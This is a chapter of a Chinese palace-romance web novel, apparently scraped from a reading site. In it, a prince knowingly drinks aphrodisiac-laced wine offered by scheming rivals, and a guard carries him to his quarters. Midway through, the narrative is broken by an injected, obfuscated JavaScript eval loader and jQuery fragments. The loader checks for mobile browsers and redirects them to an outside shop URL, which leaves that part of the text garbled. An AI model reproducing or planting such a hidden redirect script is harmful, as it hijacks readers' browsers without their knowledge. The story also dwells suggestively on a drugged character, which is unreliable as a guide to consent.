123读书网 > 玄幻小说 > 权臣他以下犯上 > 31.第 31 章
    御书房内,烛火通明。


    燕元明与皇帝对着舆图议了足足两刻钟。


    北狄边境小股部族频繁异动,似在试探,又似在等待什么。


    不像寻常的劫掠,背后恐怕另有势力在暗中筹谋。


    待议定边防方略,已过了大半个时辰。


    燕元明告退,大步走出御书房。


    他心中记挂着云棠,脚步生风,片刻不愿耽搁。


    夜已深,宫道两侧宫灯摇曳,将他的影子拉得很长。


    行至半途,一个小太监忽然从岔路小跑而来。


    “王爷!王爷留步!”


    燕元明脚步一顿。


    那小太监跑得气喘吁吁,脸颊通红,到他跟前便扑通跪倒,双手颤巍巍捧上一物。


    “奴才、奴才是奉赵将军之命来送信的……说、说是与七殿下有关……”


    燕元明眸光一凛,接过那物。


    是一枚羊脂玉佩。


    双鱼衔珠,玉质温润,络子是旧的,被他亲手系过。


    他认得。


    这是云棠的玉佩,一直贴身佩戴,从不离身。


    “赵将军说,”小太监垂着头,声音压低,“七殿下如今人在宫外旧馆,若王爷想见人,独自前往便是,此事……此事不可声张。”


    燕元明攥紧了那玉佩。


    玉质冰凉,硌进掌心。


    他垂眸看着跪在地上的小太监。


    面生,声音发紧,指尖在袖中微微颤-抖。


    是赵珩的人。


    还是三皇子的人?


    不重要。


    重要的是,这玉佩是真的。


    云棠……出事了。


    燕元明没有再问。


    他将玉佩收入怀中,转身大步朝宫门方向走去。


    袍角翻飞如墨色的旗,踏破满地积雪。


    夜风呼啸,灌入衣领。


    燕元明在宫道上疾行,脸色冷得像淬过寒冰。


    寿宴正殿内,依旧觥筹交错。


    云棠独坐席中,周身笼着淡淡的疏离。


    月白锦袍在烛光下流转着银色的暗纹,衬得他肤白如玉,眉眼如画。


    他微微垂首,长睫覆下一片静谧的阴影,像一幅工笔仕女图,清冷出尘,与周遭的喧嚣格格不入。


    几位年轻宗亲远远望过来,目光惊艳,却在凌墨冷冽的眼神下讪讪移开。


    云棠对这一切恍若未觉。


    直到两道人影踏着酒意而来,在他席前站定。


    三皇子楚云凌,以及边关将领赵珩。


    云棠抬眸,目光平静如水。


    楚云凌面带笑容,眼神却阴鸷如蛇:“七弟独自在此?摄政王呢?”


    云棠语气淡淡:“皇兄有事?”


    那声音清凌凌的,像冰碴子落入玉盘,与方才在燕元明面前的乖软判若两人。


    楚云凌笑容僵了一瞬。


    赵珩借着酒意,向前半步,压低声音笑道:“七殿下今日这身打扮……啧啧,比那日在澄心园还勾-人。”


    他目光放肆地在云棠胸-前腰际流连,“不知摄政王尝过几回了?”


    话音未落,寒光一闪。


    凌墨手中长剑出鞘三寸,剑刃映着烛火,冷冽逼人。


    赵珩瞳孔一缩,本能后退。


    他身经百战,却在那一瞬间感受到了真正的杀意。


    凌墨纹丝不动,剑身横在云棠席前,语调无波:“赵将军,请自重。”


    赵珩脸色铁青:“你一个侍卫,也敢拦本将军?”


    凌墨不答,剑也未收。


    楚云凌面色阴沉,伸手想去拉云棠的手腕。


    剑刃横移,堪堪拦在他指尖前。


    凌墨一字一顿:“三殿下,请自重。”


    “放肆!”楚云凌勃然变色,声音拔高,“本皇子是君,你是臣,也敢以下犯上!”


    凌墨垂眸,声音没有丝毫起伏,却字字如钉:“王爷有令,末将只听七殿下差遣。”


    言下之意,你算什么东西。


    楚云凌面色青白交加,胸口剧烈起伏。


    他死死盯着凌墨,像要将他千刀万剐,却终究不敢越过那道寒光凛冽的剑锋。


    片刻后,他深吸一口气,强行压下怒火,扯出一个皮笑肉不笑的表情。


    “七弟,”他转向云棠,语气亲切得近乎诡异,“今日太后寿宴,七弟怎能滴酒不沾?皇兄敬你一杯。”


    他从身后太监手中接过酒壶,亲手斟了一杯,递到云棠面前。


    酒液清澈,泛着莹润的光泽,隐隐透出一丝极淡的甜腻气息。


    凌墨鼻翼微动,脸色骤然一变。


    他抬手按住云棠手腕,声音压得极低:“殿下,这酒……”


    他嗅觉敏锐,那酒中异样的甜腻,旁人闻不出,他一闻便知是什么东西。


    云棠看着他。


    凌墨喉结剧烈滚动,握着他手腕的力道紧了几分:“殿下,不可。”


    云棠没有立刻说话。


    他垂眸看着那杯酒,又看向面前两张虚伪的笑脸。


    楚云凌眼底按捺不住的得意,赵珩几乎要溢出来的贪-婪。


    脑海里闪过许多画面。


    除夕夜,燕元明在爆竹声中捂住他耳朵,低头吻他。


    烟花在身后绽放,将他的眉眼映得温柔如春水。


    还有……


    他已经等了很久了。


    从十年前那个雪夜,递来手笼的少年。


    到如今,权倾朝野却仍会为他弯腰系斗篷的王爷。


    他等了十年,才等来那句“我心悦你”。


    等到心意相通,等到耳鬓厮磨,等到肌肤相亲……


    却还没有等到真正的,完全的交付。


    不是王爷不想。


    是王爷太珍惜他,太怕伤着他。


    可他不想再等了。


    他想成为王爷的人,真正意义上,彻彻底底的。


    想在那人怀里绽放,想在那人身-下承-欢。


    想将那个藏了十八年的秘密,在那人给予的极致快乐中亲口说出。


    这杯酒……


    是一个很好的借口。


    云棠轻轻抽回被凌墨握着的手。


    他端起酒杯,在凌墨惊愕的目光中,一饮而尽。


    酒液滑入喉咙,微凉,带着若有若无的甜腻。


    像早春初融的雪水,也像什么沉睡的东西,在这一刻悄然苏醒。


    云棠放下杯,面色如常,只有指尖在袖中轻轻蜷紧。


    “多谢皇兄赐酒。”他声音淡淡。


    楚云凌与赵珩对视一眼,那目光里有压抑不住的狂喜,还有不堪入目的觊觎。


    “七弟好酒量。”楚云凌笑容更深,声音都有些发飘,“皇兄还有事,先不陪了。”


    两人匆匆离去,脚步迫不及待。


    云棠望着他们的背影,唇-角勾起一抹极淡的弧度。


    那弧度稍纵即逝,快到凌墨几乎以为是自己的错觉。


    酒入喉后,起初并无异样。


    云棠安静坐着,垂眸拨弄案上的茶盏,面上仍是那副清冷出尘的模样。


    凌墨立在他身侧,目光紧紧锁着他,像一只绷到极限的弓弦。


    “殿下,”他声音压得极低,带着难以察觉的颤,“您明知那酒……”


    “知道。”云棠淡淡道。


    凌墨喉结剧烈滚动。


    他想问为什么。


    为什么明知是陷阱还要跳下去?为什么明知是毒药还要饮下去?为什么——


    可话到嘴边,他又咽了回去。


    他是侍卫。


    没有资格质问主子。


    云棠端起茶盏抿了一口。


    茶水温热,茶香清苦,却压不住身体深处渐渐蔓延的灼意。


    最先发热的是指尖。


    像有细小的火苗在指腹上跳跃,沿着血脉蜿蜒向上。


    热度并不猛烈,却缠绵不去,如春蚕吐丝,一点点将人裹进温暖的茧里。


    脸颊从肌理深处透出艳色,如胭脂浸染宣纸,层层晕开,洇成一片绮丽的绯云。


    绯云从颧骨蔓延到眼尾,将那张清冷的脸衬出惊心动魄的媚意。


    云棠眼底渐渐氤氲起水光。


    他眨了眨眼,那水光便凝成露珠,挂在长睫上,颤颤巍巍,欲坠未坠。


    每一次眨眼,那露珠便晃动一下,像清晨玫瑰花瓣上栖着的朝露。


    他咬住下-唇,想压下那股翻涌的热潮。


    可唇-瓣却因此更显嫣红,像熟透的樱桃,轻轻一碰便要沁出汁水来。


    唇-角被咬出一道浅浅的白痕,随即又被更深的绯色覆盖。


    他微微张着唇,呼吸间溢出不受控制的轻浅热息。


    气息拂过空气,仿佛都带上了甜腻的香。


    凌墨死死盯着他,瞳孔收缩。


    他见过七殿下许多模样。


    怯懦的、清冷的、依赖王爷时乖软的、被王爷逗弄时羞赧的……


    却从未见过他这副模样。


    那不是人间该有的美。


    像深山修炼千年的狐妖,褪下画皮,露出惊心动魄的真容。


    像月下盛开的昙花,一瞬绽放便足以夺人心魄。


    像被骤雨打湿的海棠,娇-艳欲滴,楚楚可怜,却又妖冶入骨。


    他的长发有几缕散落下来,黏在汗湿的颊边。


    墨色的发衬着雪白的肌肤,分明是狼狈的姿态,却美得让人不敢呼吸。


    眼眸半阖,长睫不住地颤动,像蝴蝶被困在蛛网里,挣扎得那样无力,又那样动人。


    唇-瓣微微张着,红得像要滴血,贝-齿若隐若现。


    舌尖偶尔探出,舔过干燥的唇-角。


    脖颈仰起,露出脆弱纤长的弧线,喉结轻轻滚动,每一次吞咽都像在承受什么。


    他的胸膛起伏越来越急促,那月白锦袍下的弧度若隐若现。


    腰肢不自觉地轻轻扭动,像有什么在体内流窜,找不到出口。


    他的手指攥紧了袖口,指节泛白,又倏地松开,无力地垂落。


    凌墨喉结剧烈滚动,额角青筋隐现。


    他不敢看。


    可他移不开眼。


    “殿下……”他声音沙哑得几乎听不出原样。


    云棠抬起眼看他。


    那双眼尾洇红、水光潋滟的眼。


    那眼里没有情-欲,只有清明。


    “凌侍卫,”他开口,声音带着压抑的轻喘,“去告诉三皇子的人,就说我醉了,要去偏殿歇息。”


    凌墨一怔。


    云棠看着他,目光平静:“让他们亲眼看见我被送进偏殿,然后——”


    他顿了顿,呼吸急促了几分,却仍是那副冷静的语气:“从后窗送我回清莲苑。”


    凌墨骤然明白了。


    将计就计。


    “殿下……”凌墨声音发紧,“您这是——”


    “去办。”云棠打断他,声音很轻。


    凌墨深深看了他一眼,不再多言。


    他转身,对殿外候着的一名心腹低语几句。


    那心腹领命而去,片刻后,偏殿方向便有了动静。


    云棠试图起身。


    脚刚沾地,膝盖便软得像被抽去了骨头。


    他整个人向前栽去,凌墨眼疾手快地扶住。


    手掌托住他的手臂,隔着衣料也能感受到那烫得不正常的体温。


    殿下站不住了。


    凌墨喉结滚动。


    按规矩,他应该唤来宫人,应该抬来肩舆,应该


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281066|198040||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用一切合乎礼数的方式送殿下离开。


    可是来不及了。


    三皇子的人正在暗处窥伺。


    殿下的身子已经软得像一捧春水。


    再多耽搁一刻,那些贪-婪的目光就会看出端倪。


    没有时间了。


    凌墨深吸一口气。


    他一手揽住云棠的背,一手穿过他的膝弯。


    “殿下,”他声音低到几乎被自己的心跳盖过,“得罪了。”


    他将人打横抱起。


    云棠在他怀中轻得像一片羽毛,又烫得像一团火。


    墨发散落,如瀑流泻,几缕黏在他汗湿的颊边。


    他闭着眼,长睫不住颤-抖,唇-瓣微张,每一次呼吸都像一声叹息。


    凌墨不敢低头。


    他不敢看那张近在咫尺的脸,不敢看那泛着绯色的颈侧,不敢看那因喘-息而起伏的胸口。


    他只能死死盯着前方的路,像盯着一根救命绳索。


    臂弯里的重量轻得不可思议,却压得他几乎喘不过气。


    这是王爷的人。


    他一遍遍告诉自己。


    王爷捧在心尖上的人。


    他只是侍卫。


    他的手不该触碰,目光不该停留。


    他甚至不该——


    殿下在他怀里轻轻颤了一下,像梦呓般呢-喃:“……王爷……”


    那声音软得不像话,带着药性催出的沙哑,像羽毛搔过心尖。


    凌墨脚步一顿,随即走得更快。


    他抱紧怀中人,大步朝偏殿走去。


    夜风灌入回廊,冰凉刺骨。


    可他托着殿下的那只手,掌心已经沁满细汗。


    凌墨抱着他,穿过大殿,穿过众人或惊讶或玩味的目光,朝偏殿走去。


    暗处有几道目光死死锁定着他们。


    那是三皇子的人。


    他脚步不停,推开了偏殿的门。


    一炷香后,凌墨抱着云棠从偏殿后窗跃出,稳稳落在积雪的小径上。


    夜色如墨,月华如水。


    他抱着怀中人,避开巡逻的侍卫,沿着偏僻小径疾行。


    怀里的人越来越烫。


    热度透过几层衣料传来,几乎要将他灼伤。


    云棠靠在他肩头,呼吸急促而浅乱。


    细碎的呻-吟从齿缝间漏出,像濒死的幼兽在呜咽。


    他浑身都在轻颤。


    不是冷。


    是药性已经完全发作了。


    凌墨咬紧牙关,加快脚步。


    清莲苑终于出现在视野尽头。


    他撞开内室的门,将云棠轻轻放在榻上。


    正要抽身退开——


    袖口被轻轻拽住了。


    那力道极轻,像幼猫用爪子勾-人。


    凌墨整个人僵住。


    他不敢低头,不敢看。


    喉结剧烈滚动,手臂上的肌肉绷得像拉满的弓弦。


    “殿下……”他声音哑得像被砂纸磨过。


    云棠半靠在榻上,一只手无力地抓着他衣袖。


    他仰着脸。


    那张脸此刻已经完全被绯色浸-透,从额角到下颌,每一寸肌肤都泛着情-潮的粉晕。


    眼尾红得像抹了胭脂,泪水顺着眼角滑落,没入鬓发。


    鼻尖微红,唇-瓣被自己咬得红-肿,贝-齿松开时,下-唇-上印着一道清晰的齿痕。


    他开口,声音软得像化开的蜜,断断续续,破碎不堪。


    “凌侍卫……”


    他喘着,胸口剧烈起伏,每说一个字都要停顿很久。


    “今日饮酒的事……”


    他抓着他衣袖的手指蜷紧。


    “可不可以……不要告诉王爷?”


    凌墨攥紧拳头,指甲陷进掌心。


    “我不想他担心……”云棠的声音越来越轻,像梦呓,“更不想他……觉得我任性……”


    他仰头看着凌墨,眼含水光,像迷路的小动物在祈求指引。


    “你帮我去找王爷过来,好不好?”


    他指尖收紧,将那片衣料攥出深深的褶皱。


    “就说我……不舒服……”


    他喘了一下。


    “想见他。”


    室内寂静。


    只有窗外雪光映出朦胧的轮廓,只有榻上人急促的呼吸,只有自己胸腔里那擂鼓般的心跳。


    凌墨死死盯着地面,不敢抬头。


    那是王爷的人。


    是王爷捧在心尖上,连重话都舍不得说一句的人。


    他不能看。


    可那声音那么软。


    那气息那么近。


    他嗅到了殿下身上清淡的兰香,还有药性催发出的,若有若无的甜腻气息。


    凌墨深吸一口气,将那几乎要冲出胸腔的悸动生生压下去。


    他声音低哑,尾音不稳:


    “末将……去寻王爷。”


    云棠的手指缓缓松开,像耗尽了所有力气。


    “……谢谢。”


    声音轻得像一声叹息。


    凌墨不敢回头,大步流星跨出内室,在门口顿了一瞬。


    攥紧剑柄,指节泛白。


    夜风灌入,卷起他玄色的衣袂,却吹不散胸腔里那团陌生的,不该有的灼意。


    他大步穿过回廊,在月色下疾行。


    身后,内室里一片寂静。


    云棠蜷在榻上,将那枚羊脂玉哨抵在唇边。


    指尖因药性发颤,哨身冰凉,他却始终没有吹响。


    他在等。


    等他来。


    等他看见这副模样的自己。


    等他心疼,等他愤怒,等他再也无法克制。


    等他——


    将自己彻底占有。